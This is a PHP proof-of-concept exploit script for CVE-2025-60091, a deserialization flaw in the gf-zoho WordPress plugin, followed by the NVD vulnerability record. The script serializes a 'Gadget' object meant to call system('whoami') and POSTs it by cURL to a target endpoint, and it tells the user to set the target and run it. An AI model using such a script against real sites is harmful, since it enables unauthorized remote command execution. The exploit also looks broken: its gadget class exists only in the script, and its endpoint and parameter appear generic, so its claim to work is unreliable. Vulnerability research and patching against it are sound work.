CVE-2025-60091

<?php /** * CVE-2025-60091 PoC - WP Gravity Forms Zoho CRM Object Injection * This PoC demonstrates the deserialization vulnerability in gf-zoho plugin <= 1.2.9 * * Usage: Modify TARGET_URL and execute via PHP CLI or web server */ // Configuration define('TARGET_URL', 'https://vulnerable-site.com/wp-json/gf-zoho/v1/endpoint'); define('METHOD', 'POST'); // POP chain gadget for WordPress/RCE class Gadget { private $data; private $callback; public function __construct() { // Chain: Any -> __toString() -> call_user_func -> system() $this->callback = 'system'; $this->data = 'whoami'; // Command to execute } } // Generate malicious serialized payload $payload = serialize(new Gadget()); $payload = base64_encode($payload); // Prepare HTTP request echo "[*] Sending exploit payload to: " . TARGET_URL . "\n"; echo "[*] Payload (base64): " . $payload . "\n\n"; // HTTP headers $headers = [ 'Content-Type: application/x-www-form-urlencoded', 'X-Requested-With: XMLHttpRequest' ]; // POST data - the vulnerable parameter $post_data = 'action=sync&form_id=1&data=' . urlencode($payload); // Execute request (using cURL) $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, TARGET_URL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] HTTP Response Code: " . $http_code . "\n"; echo "[*] Response:\n" . $response . "\n"; echo "\n[!] If successful, check server logs for command execution\n"; ?>

{"cve": {"id": "CVE-2025-60091", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:09.343", "lastModified": "2026-01-20T15:17:27.597", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in CRM Perks WP Gravity Forms Zoho CRM and Bigin gf-zoho allows Object Injection.This issue affects WP Gravity Forms Zoho CRM and Bigin: from n/a through <= 1.2.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:crmperks:wp_gravity_forms_zoho_crm_and_bigin:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.3.0", "matchCriteriaId": "0B7C35EE-1EDD-4E8D-80E3-AE105BA034A8"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gf-zoho/vulnerability/wordpress-wp-gravity-forms-zoho-crm-and-bigin-plugin-1-2-8-deserialization-of-untrusted-data-vulnerability?_s_id=cve", "source": "[email protected]"}]}}